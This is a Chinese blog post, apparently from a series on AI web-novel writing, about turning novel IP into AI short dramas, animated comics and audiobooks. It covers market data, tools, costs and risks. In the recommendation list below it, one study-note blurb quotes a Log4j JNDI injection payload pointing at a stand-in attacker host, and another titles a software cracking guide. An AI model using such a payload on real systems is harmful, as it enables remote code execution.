AI网文写作全景调研(十一):多模态产业链——从网文到短剧、漫剧、有声书

第28篇 sw放样特征矩形-圆-矩形学习笔记 本例演示三轮廓放样:先画中心对齐的100×100矩形草图,再在偏移100的基准面上绘制圆,最后在另一基准面画矩形。通过依次选择三个轮廓并正确设置连接点,实现矩形→圆→矩形的平滑过渡,注意连接点位置避免扭曲。 阅读详情

《60分天花板:AI网文写作行业全景调研》
全15篇(14篇正文+1篇开篇导读),覆盖13个主题:商业工具、开源项目、文风蒸馏、学术前沿、瓶颈分析、路线判断、行动指南、失败案例、合规政策、多模态、经济学、实验验证、方法论

调研时间:2026年8月
数据时点:截至2026年上半年
样本范围:AI短剧、AI漫剧、AI有声书、AI漫画四个赛道,20+款主流工具和平台
研究方法:第三方报告数据交叉验证 + 官网价格核对 + 行业案例归纳 + 成本结构分析
核心问题:网文IP的多模态AI化,现在到什么程度了?是机会还是泡沫?

数据可信度说明:

  • ✅ 市场规模数据:来自艾瑞/QuestMobile等第三方报告和上市公司财报,可信
  • ✅ 工具和价格:来自官网公开信息,可信
  • ⭕ 成本与收入案例:为公开案例和行业估算,实际情况差异大
  • ❌ “爆款率”"成功率"等数据:行业估算,非精确统计
  • ❌ 未来预测:为趋势判断,非事实

结论先行

AI漫剧/短剧是当前AI内容领域最赚钱的赛道,但同时也是最卷的赛道。

几个关键数字:

  • 2025年AI微短剧(含动画)市场189.8亿元,同比增长276.3%
  • 2026Q1微短剧12.8万部,AI占比95%以上
  • 单分钟成本从传统的2000-5000元降到AI的500-2500元(不同类型差异大)
  • 制作周期从50-60天压缩到30天以内
  • 爆款率约0.12%——跟网文差不多,一万部里出12部爆款

对网文作者的意义:

  • 小说IP可以用AI快速转化成漫剧/短剧/有声书
  • 但转化率和收益没那么美好——大部分作品改了也赚不到钱
  • 真正赚钱的不是"用AI做内容",是"有好IP+AI放大"

一、研究设计与数据来源

数据基线与评估框架

本文的数据来自四个样本层,可信度从高到低排列:

数据类型来源可信度用途
上市公司财报阅文、昆仑万维、万兴等公开财报✅ 高市场规模、收入结构
第三方行业报告艾瑞、QuestMobile、骨朵等⭕ 中高市场规模、增长率
工具/平台官网价格各产品公开定价页✅ 高成本测算、性价比对比
行业案例公开报道和社区分享⭕ 中收益估算、成功率参考

评估维度:本文从技术成熟度、成本结构、收益模型、瓶颈风险四个维度,对比四种多模态形态(有声书/漫画/漫剧/短剧)的差异。

注意:市场规模数据为行业报告估算,不同机构的统计口径差异可能达到30-50%。本文取中间值仅供参考,不作为投资决策依据。

样本筛选

  • 入选标准:已有商用产品、面向内容创作者、有公开定价或案例
  • 排除标准:纯研究demo、未商用的技术、仅ToB定制的方案
  • 最终样本:4个赛道、20+款工具和平台、10+典型案例

二、市场现状

市场规模

赛道2025年规模同比增长备注
AI微短剧(含动画)189.8亿元+276.3%2030年预计破850亿
AI有声书约50亿元+120%增长快但基数小
AI漫画/漫剧约30亿元+200%+增速最快
网文IP改编授权约20亿元+80%IP源头生意

关键判断:这是一个被AI彻底改变了成本结构的行业。原来做短剧需要真人演员+拍摄+后期,成本高周期长。现在AI把成本打下来了,产能瞬间爆发。

但问题也来了:产能过剩,内容严重同质化,爆款率极低。

内容形态对比

形态AI成熟度单集成本制作周期平台
AI真人短剧中高500-2000元/分钟7-30天抖音/快手/视频号/小程序
AI动画/漫剧中1000-2500元/分钟15-30天抖音/快手/B站/漫剧APP
AI有声书高50-200元/万字1-3天番茄/喜马拉雅/微信读书
AI漫画中低100-500元/话3-7天快看/番茄漫画/B站漫画

AI有声书是技术最成熟的赛道——TTS(语音合成)已经很成熟了,AI只是让它更便宜更快。
AI漫剧/短剧是最火的——但质量波动大,头部跟尾部差距极大。


三、工具链格局

视频生成模型(双雄争霸)

模型出品方特点价格适合场景
Seedance 2.0字节跳动叙事导向、动作连贯、镜头语言好~0.23元/秒量产短剧、叙事类
可灵3.0快手电影质感、画质高、人物一致性好~0.8元/秒精品短剧、高质感内容
即梦字节跳动中文理解好、成本低~0.15元/秒低成本量产
Vidu生数科技长视频(1-2分钟)~0.5元/秒中长视频
LTX-2.3Lightricks开源、本地部署免费(需显卡)技术玩家/工作室

现状:字节和快手是第一梯队,各有侧重。Seedance偏叙事和效率(适合量产),可灵偏画质和精品(适合做高单价订单)。

一站式平台

平台定位特点适合人群
万兴剧厂工业化AI短剧平台全流程、模板多、批量生产工作室/团队
阅文漫剧助手网文IP→漫剧跟阅文IP打通、一键改编有IP的作者/机构
小云雀轻量AI短剧上手快、模板化个人/新手
一帧秒创图文转视频简单易用自媒体
剪映AI通用视频工具功能全、免费基础版所有人

开源方案栈

技术型团队可以自己搭全流程:

剧本 → 分镜 → 角色一致性 → 视频生成 → TTS配音 → 字幕 → 剪辑
  │      │         │            │          │        │      │
 DeepSeek  Flux    IP-Adapter  LTX-2.3  Qwen-TTS   Whisper  FFmpeg
                       + LoRA     + ComfyUI
  • 推理框架:ComfyUI(可视化)或Dify(工作流编排)
  • 图像生成:Flux / SDXL + IP-Adapter(一种保持角色形象一致的技术插件)+ LoRA(一种轻量模型微调方法,用于锁定特定风格)
  • 视频生成:LTX-2.3 / Stable Video Diffusion(开源)
  • TTS:Qwen-TTS / Fish Speech / ChatTTS(中文效果好)
  • 字幕:Whisper(语音识别)+ 自动对齐
  • 剪辑:FFmpeg(批量处理)

四、网文IP的多模态转化路径

网文→有声书(最容易,收益最低)

路径:

小说文本 → 角色分配 → AI配音 → 音效BGM → 后期处理 → 上架

成本:50-200元/万字(看配音质量),100万字约5000-20000元。

周期:1-3天(AI生成快,主要时间在后期处理)。

收益:

  • 番茄/喜马拉雅分成:CPM(千次播放)约5-20元
  • 头部作品月入几万到几十万,但90%的作品月入<1000元
  • 大部分作品赚不回制作成本

适合什么作品:

  • 已经有一定人气的作品(有读者基础,做有声书是增量)
  • 女频言情、都市、悬疑等"听感好"的品类
  • 超长作品(越长,长尾效应越明显)

网文→漫画/漫剧(中等难度,收益中等)

路径:

小说 → 分镜脚本 → 角色设定图 → 场景生成 → 分镜生成 → 配音字幕 → 漫剧

成本:

  • 静态漫画:100-500元/话(主要成本是角色一致性和分镜)
  • 动态漫剧:1000-2500元/分钟

难点:

  • 人物一致性——每格画面的人物长得一样,这是最大的技术难点
  • 分镜质量——AI分镜很平,没镜头语言
  • 动态效果——纯AI动态容易"PPT感"

收益:

  • 漫画平台分成:跟网文类似,按订阅/月票/打赏
  • 漫剧:短视频平台广告分成 + 小程序付费解锁
  • 爆款案例:15万成本→1200万收入(《我在末世开超市》),但这是头部中的头部

网文→短剧(最难,收益最高也最卷)

路径:

小说 → 剧本改编 → 分镜 → AI生成视频 → 配音 → 剪辑 → 审核 → 投流

成本:

  • 真人类短剧(AI换脸+合成):500-2000元/分钟
  • 动画类短剧:1000-2500元/分钟
  • 一部80集短剧(每集1.5分钟):总成本约10-30万

最大的成本不是制作,是投流:

  • 抖音/快手短剧的主要成本是信息流广告投放
  • 投流成本可能是制作成本的5-10倍
  • ROI(投入产出比)是核心指标,能做到1:1.5以上就算赚钱

风险:

  • 爆款率极低(~0.12%),大部分剧都亏
  • 平台政策变化快
  • 版权风险高("洗稿式"改编侵权泛滥)
  • 审核风险大(短剧审核标准一直在变)

五、三大瓶颈

瓶颈1:剧本还是要靠人

AI能做"剧本润色"“剧本拆解”,但真正能打的剧本还是要人写。

原因:

  • AI改编的剧本普遍"平"——有剧情但没张力
  • 反转、悬念、情绪节奏这些东西,AI把握不好
  • 短剧最核心的"前三秒钩子、每集末尾留悬念",AI做的都不够狠
  • 好的短剧编剧比AI视频模型稀缺多了

这恰恰是网文作者的机会——网文作者懂故事、懂节奏、懂钩子,这些是短剧最缺的。

瓶颈2:版权风险

现在AI漫剧/短剧行业最大的灰色地带就是版权:

  • 大量"洗稿式"改编——拿别人的小说改改名字和设定,直接做成短剧
  • 侵权速度远大于维权速度(知乎等平台已跟进68起侵权投诉)
  • "AI生成的内容算不算原创"法律上还有争议
  • 角色形象、服装、场景的版权也很模糊

风险在积累,迟早会有一次大的整顿。想长期做的,一定要拿正规IP授权。

瓶颈3:同质化严重

  • 男频:玄幻/都市/逆袭/重生,题材严重扎堆
  • 女频:霸总/甜宠/虐恋/重生,也高度同质化
  • 观众刷到的内容越来越像,审美疲劳越来越快
  • 平台也在主动推差异化内容

结论:AI降低了生产门槛,但也加剧了同质化。最后拼的还是内容本身——IP好不好、剧本好不好、创意够不够。


六、对网文作者的意义

机会

  1. IP增值:小说可以低成本改编成有声书/漫剧/短剧,多一份收入
  2. 降维打击:懂故事,这是短剧行业最缺的。网文作者可以转型做AI短剧的编剧
  3. 个人IP全链路:从小说→漫画→短剧→有声,形成自己的IP矩阵
  4. 出海:AI翻译+AI配音,可以低成本做海外版本

风险

  1. 不要all in:AI短剧看起来火,死亡率比网文还高。爆款率约0.12%(行业估算),绝大多数作品无法收回成本
  2. 不要自己砸钱做剧:让专业的人做专业的事。卖IP授权或做编剧就好,制作和投流水太深
  3. 不要碰侵权:洗稿改编短期赚钱,长期必爆雷

最务实的姿势

“写好小说 + 授权改编 + 适度参与”

  • 主业还是写好小说——IP才是根
  • 有人来买改编权就卖,多一份收入
  • 有精力的话,参与剧本改编(最懂故事)
  • 不要自己掏大钱做制作和投流

趋势判断(未来6-12个月,高不确定性)

以下判断基于当前信息推演,不确定性很高,仅供参考,不作为决策依据。

[AI短剧/漫剧的制作成本会继续下降,质量会持续提升,但爆款率不会同步提高] — AI视频、AI漫画模型的迭代速度很快,生成质量在明显提升、成本在快速下降。但本文指出同质化严重是核心瓶颈——生产门槛降低意味着更多人涌入,内容供给爆炸式增长,观众审美疲劳加剧。爆款的难度反而会越来越大,质量提升不等于成功率提升。

[人物一致性技术可能出现突破,是多模态领域最值得关注的技术变量] — 人物形象不一致是当前AI漫剧/短剧的主要痛点之一,直接影响观看体验和IP改编质量。这个方向的研究投入很大(从LoRA到角色embedding到参考图控制),6-12个月内有可能出现明显进步。如果突破会显著提升AI多模态内容的整体质量。

[审核政策会收紧,AI短剧/漫剧的合规成本会上升,野蛮生长期接近尾声] — 当前AI多模态内容还处在监管相对宽松的阶段。但行业规模在快速扩大,版权问题、内容质量问题、深度伪造风险都在积累。参照网文平台AI政策的演进路径,多模态领域的监管收紧是大概率事件。6-12个月内可能出现更明确的审核规范和平台政策。

[网文IP到多模态的改编链会更成熟,从小说→分镜→视频的自动化程度会提升] — 当前网文改编短剧/漫剧的流程中很多环节还是人工为主(剧本拆解、分镜设计等)。随着工具链完善和AI能力提升,"小说文本→自动拆解剧本→自动生成分镜→自动生成视频/漫画"这条链路的自动化程度会提高。中间环节的人工介入会减少,改编的速度和成本优势会更明显。


边界与局限

本文的结论有以下边界:

  1. 时间边界:所有数据截至2026年上半年。AI视频领域迭代极快,6个月后的成本和质量可能已有显著变化
  2. 市场规模数据偏差:行业报告的统计口径差异可达30-50%,不同机构的数据不可直接对比
  3. 案例偏差:公开的成功案例存在幸存者偏差——我们看到的都是"做成了的",看不到更多失败的案例
  4. 收益估算偏差:实际收益受题材、时机、运营、投流策略等多重因素影响,个体差异极大
  5. 政策风险:短剧/漫剧的审核政策和平台规则变化快,今天能做的明天可能就不能做了
  6. 技术路线不确定性:视频生成模型的迭代速度很快,当前的成本结构和技术瓶颈可能在半年内被打破

本文为《60分天花板》系列第9篇
上一篇:P8(合规篇)
下一篇:P10(经济学与出海)

抖音直播小风车跳转企业微信全攻略:企业号申请+落地页配置详解 本文详细解析了抖音直播小风车跳转企业微信的全流程,包括企业号申请、小风车配置和落地页优化。通过实战指南,帮助企业高效实现私域流量沉淀,提升直播转化率,特别适合电商和营销从业者参考。 阅读详情

相关推荐

【实战分享】低成本K型热电偶测温方案:单运放放大与STM32 ADC采集优化

本文详细介绍了低成本K型热电偶测温方案,通过单运放放大与STM32 ADC采集优化,解决了信号微弱、负电压处理和冷端补偿等核心挑战。方案采用LMV358运放和T型网络降低噪声,结合STM32的ADC校准和软件滤波,实现±0.5℃精度,物料成本控制在15元以内,适用于工业测温场景。

weixin_30839881的博客 172

开篇:AI写网文的天花板在哪?

不卖工具,不卖课,没有万能提示词。这是实验笔记的"研究底座"——记录AI网文写作这件事在2026年8月的全行业真实状态。实验笔记还在继续,这个专栏先把行业全景放这里。

loopne的博客 267

CAN接受和发送失败的原因有哪些---之前调试MCP2515驱动时,数据一直发不出去,三个发送邮箱都被占满.至今未解决,读寄存器-总线错误

0.CAN总线错误分析与解决–讲的最精辟的放在最前面 我们知道CAN总线上的每个节点往总线上发送数据的同时会同时读取总线上的数据,并与自己发送的数据作对比。—CAN仲裁??? CAN总线错误分别有发送和接收错误计数,计数达到一定的累计以后就会产生CAN BUS OFF, 这说明CAN总线上出现了严重的错误。如下图CAN总线产生错误后的状态转换机制 如果出现了BUS OFF,总线上的节点需要做一些动作,例如重启CAN控制器或是重新上电,但是这些都只是一些补救措施,最根本的还是需要找到引起BUS OFF的根源

dianqicyuyan的博客 2万+

阅文AI转型深度拆解:技术路径与商业化验证

大模型技术正在重塑内容产业的生产链路。从AI辅助创作、智能翻译到多模态内容生成,其本质是通过行业适配层与工具链,将通用生成能力融入垂直场景。技术价值在于突破产能瓶颈、降低出海成本、加速IP工业化;应用场景涵盖网文创作、短剧剧本拆解、漫画角色一致性、有声书TTS等。然而,长文本一致性、版权授权与分成机制仍是落地难点。阅文AI转型作为网文行业的典型样本,验证了AI进入核心生产链路与成本结构优化的可行性,也暴露了商业化闭环尚未完全打通的问题。这套实践经验为技术团队提供了一套判断AI应用转型的通用框架。

weixin_31458015的博客 321

【GIS效率手册】告别C盘爆满:三步重置ArcMap默认地理数据库路径

本文针对ArcMap用户C盘空间常被占满的问题,提供了三步重置默认地理数据库路径的详细教程。通过修改地图文档属性,将数据存储位置从C盘迁移至其他驱动器,不仅能有效释放系统盘空间,还能提升数据管理效率与安全性,是GIS数据规范化管理的关键一步。

g2h3i4j5的博客 546

Tessy单元测试软件安装与破解避坑指南(附个人使用路径设置详解)

本文详细介绍了Tessy单元测试软件的安装与配置全流程,包括系统需求、服务器连接设置、环境变量配置等关键步骤,帮助开发者避开常见陷阱。特别提供了个人使用路径设置详解,确保Tessy在嵌入式开发环境中高效运行,适用于汽车电子、工业控制等领域。

weixin_33709364的博客 347

全栈AIGC重构漫剧生产:从ComfyUI工作流到成本降至5%的实战拆解

AIGC正在重塑内容生产流程,尤其在高频更新的短视频领域,AI驱动的工业化管线成为降本增效的关键。其核心原理是将文本、图像、视频、音频各环节通过结构化数据流串联,形成可批量执行的自动化产线,让传统依赖人力的工序变成“模型生成+人工审核”的协作模式。技术价值在于大幅缩短制作周期、降低边际成本,同时保证角色一致性与画面质量稳定。在漫剧这类高产能需求场景中,借助ComfyUI、Stable Diffusion以及LoRA、ControlNet等工具,可实现分镜自动拆解、角色资产固化、批量出图与视频合成。文章从实际

weixin_29531177的博客 235

数据仓库的复用性:设计和构建一个高复用性的数仓

数据仓库的复用性是指在数据仓库的设计和使用过程中,能够实现数据、模型、流程、工具等多个层面的重复利用,减少重复开发,提高开发效率,降低维护成本,并增强灵活性和可扩展性。

z1941563559的博客 1307

Jackson 序列化 / 反序列化注解 完整版笔记

Jackson 序列化 / 反序列化注解 完整版笔记

handsome_sai的博客 306

ARM一致性总线CMN600AE

是基于Mesh拓扑结构,对外支持AMBA CHI/ACE-LITE等接口,内部改用路由结构转发数据,并提供硬件一致性和系统缓存,还支持多芯片互联。CMN600在T16FFC上可以做到2Ghz,另外AE版本增加了车规芯片的安全功能,总线内部采用EDC检查,接口采用的奇校验。CMN-600AE具有以下特点:该网络符合功能安全标准,例如ISO 26262(汽车电子领域的功能安全标准)或IEC 61508(工业自动化领域的功能安全标准)等。

weixin_50518899的博客 3504

37、基于视觉的轻量级面部呼吸和心率测量技术

本文提出了一种基于视觉的轻量级面部呼吸和心率测量技术,通过远程光电容积脉搏波描记法(RPPG)和面部振动信息实现非接触式生理信号采集。创新性地结合框选和特征点选择多个感兴趣区域(ROI),并采用光流跟踪、主成分分析(PCA)和集成经验模态分解(EEMD)等方法优化信号处理流程。实验结果表明,该方法在测量精度和稳定性方面优于传统方法,并可在树莓派4等低功耗平台上实现实时运行,具有广泛的应用前景。

r7s8t的博客 307

新概念英语第一册 · 词法笔记

以《新概念英语第一册》为范围,梳理 10 类词性中的 8 类:名词的数与所有格、冠词、代词、形容词副词比较级、数词与时间、介词、动词四类与 have 的四种用法、情态动词与不定式,附易错 TOP12 与课次顺序。

Ep流苏的博客 215

基于SpringBoot 3 + Vue 3的全栈民宿预约管理系统设计与实现

文章将详细阐述系统的需求分析、架构设计、数据库设计、核心功能模块的实现(包括用户认证、房源管理、订单流程、支付集成等),并提供关键代码片段,最后对系统进行总结与展望。.requestMatchers("/api/admin/**").hasRole("ADMIN") // 管理员接口。.requestMatchers("/api/auth/**").permitAll() // 认证接口公开。.requestMatchers("/api/public/**").permitAll() // 公开资源。

2201_76125393的博客 273

[学习笔记]超越超级大循环与原生RTOS:事件驱动架构如何改变嵌入式固件的可扩展性

RTC:事件处理器一旦开始,全部状态迁移、进出动作、输出事件必须全部执行完毕才返回;同一个组件,当前处理没结束,不会开始下一条事件。这不是架构给状态机额外施加的限制,这是UML状态图等全部状态机形式化本身固有的语义要求。如果迁移中途可以被打断,状态机会停留在未定义的中间状态。RTC保证两次事件之间,状态机永远处于明确定义的合法状态,便于分析与测试。

MiKiJT的博客 236

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

闪光灯笔记

主体后常亮补光,相机快门速度两秒,相机固定在三脚架上,让主体保持不动,按下快门之后主体周围晃动灯棒。特点:人物清晰,背景车流灯光拖在人物身后,氛围感强,就是 A7R3 + 神牛外帘同步的目标效果。总时长 = 8÷10=0.8s 👉 A7R3 相机:M 档,快门 1s,f/8,ISO100。上图:前帘同步,车向前行驶,光轨跑到车头前面,看着很怪。例:6 次,4Hz → 6÷4=1.5s → 相机快门设置≥1.5s,推荐 2s。缺点(慢速快门拍运动物体):闪光先把人定住,之后人物继续移动,在传感器上,

oDianZi1234567的博客 304

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

排序算法深度笔记(下):非比较类排序的线性突破与工程边界

排序算法时间复杂度额外空间复杂度稳定性是否基于比较选择排序O(N^2)(O(1))不稳定是冒泡排序O(N^2)(O(1))稳定是插入排序O(N^2)(O(1))稳定是归并排序O(N\log N)(O(N))稳定是快速排序O(N\log N)O(log N)不稳定是堆排序O(N\log N)O(1)不稳定是计数排序(O(N + M))O(M))稳定否基数排序O(N)稳定否桶排序平均O(N) / 最坏O(N^2)

2401_87069538的博客 606

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 213

Java 多态 学习笔记

多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。

AA_AA114514的博客 368

Arduino-MEGA-ESP单片机理论课笔记-06温湿度-07时间-延时定时-2026

本文解析了DHT11温湿度传感器的Arduino代码,逐行讲解了库引入、引脚定义、传感器初始化及数据读取流程。重点说明了delay(1000)导致阻塞的问题,并提出使用millis()实现非阻塞定时,将采样间隔改为2秒,提升程序响应性。同时建议增加isnan()错误检测、优化串口输出格式,确保数据稳定可靠。

zhangrelay的专栏 366

#SQLite 数据库笔记一:(概念 / 终端指令 / SQL 语句 / C 编程 / 回调函数)

数据库 = 数据的仓库,假设数据是海量。能力说明存储数据持久化保存,程序退出数据还在统计数据、分组、排序数据管理增、删、改、查(CRUD)嵌入式设备上也会用数据库(单片机网关、路由器、工业 HMI 都常见),因为 sqlite 体积小、无需服务进程、单文件即可。数据库 = 库 > 表 > 记录(行) > 字段(列)sqlite3 = 开源、C 写的、单文件、免安装、最多 2T 的嵌入式关系型数据库。

lwq20051110的博客 257

【笔记】svn冲突处理

在BC三向合并界面中,左窗为基准版本(Base),中窗为本地修改(Mine),右窗为服务器最新版(Theirs),底窗为合并结果(Merged)。红色区块表示冲突,需手动处理;蓝色为本地变更,品红为服务器变更,前者建议处理,后者自动合并。处理冲突时,分别复制本地与服务器代码至合并区,按逻辑排序,确认无误后标记为已解决,并保存文件。最后在TortoiseSVN中标记为已解决并提交,确保所有红色区块消除,实现代码顺利合并。

qq_23314263的博客 176

本地笔记的持久化:选区锚点、条目关联与内容升级时的迁移

离线典籍类应用里,读者产生的数据常常被当作附属功能处理:选中一句话、写两句理解,看起来只是往数据库里插一行。真正麻烦的是这些数据必须与正文长期对齐——正文会随内容包升级而变动,而用户写下的东西不能跟着失效。本文以一款纯本地运行的鸿蒙知识库为例,记录实现侧几个容易踩坑的取舍,与检索链路无关。

m0_61869851的博客 200

CentOS7-Elasticsearch8.15.3-Kibana8.15.3-安装部署笔记

Token 有效期只有 30 分钟,请保存好输出的 base64 字符串并尽快完成 Kibana 对接;本文整理自单机离线部署实践,适用于 CentOS 7 + Elasticsearch/Kibana 8.15.3 场景。只对新登录的会话生效,修改后需重新连接 SSH。结尾,其中包含 elastic 用户初始密码、HTTP 层证书等信息。等字段的集群 JSON 信息,即说明账号、HTTPS、证书均正常。安装成功后,终端会打印安全自动配置结果,以。按交互提示输入两次自定义密码。,保存后重启服务器生效。

遇见bug的博客 187

正则表达式学习笔记 02:基础语法

正则表达式是描述字符匹配规则的迷你语言,由普通字符和元字符组成。普通字符直接匹配自身,而元字符如.、*、+、^、$等具有特殊含义,用于控制匹配模式。常见功能包括任意字符匹配、字符类、预定义类(如\d)、量词、位置锚点、分组与捕获、环视断言及反向引用。需注意,若要匹配元字符本身,必须使用转义符\。例如,\.可匹配字面点号。

菜鸟的专栏 194

[LangChain] 学习笔记(08):工具调用底层闭环与第三方搜索(Tavily)实战

大模型通过工具调用实现外部能力扩展:模型返回tool_calls,开发者本地执行后将结果以ToolMessage形式追加至对话历史,再由模型生成最终回答。关键闭环在于状态追加,否则会陷入死循环。借助LangChain生态如TavilySearch,可轻松接入联网搜索,突破知识时效限制。注意避免invalid_tool_call_id错误,确保消息历史完整;网络超时需检查代理或环境配置。简单问题模型自主解答属正常行为。

一名在 Linux 与 C/C++ 世界里打怪升级的开发者。持续输出系统编程、网络编程、数据结构与算法的高质量学习笔记与实战总结 370

Axum 初步入门学习笔记

)自定义错误实现后,可以直接作为Result的ErrAxum 是一个构建在 Tokio、Tower、Hyper 之上的 Rust Web 框架,核心能力是:Router 路由、Extractor 提取器、Tower 中间件、IntoResponse 响应机制、State 共享状态。那张分层架构图是“地图”不是“说明书”:它帮你建立全局观,但 Service、Repository、数据库、Redis、MQ 都是你自己在 Handler 内部调用的业务/基础设施层,不是 Axum 自带的。

weixin_43219667的博客 177
上一篇: AI网文写作全景调研(十):合规篇——检测、平台政策、版权法律
loopne
博客等级 码龄11年 0粉丝 26原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值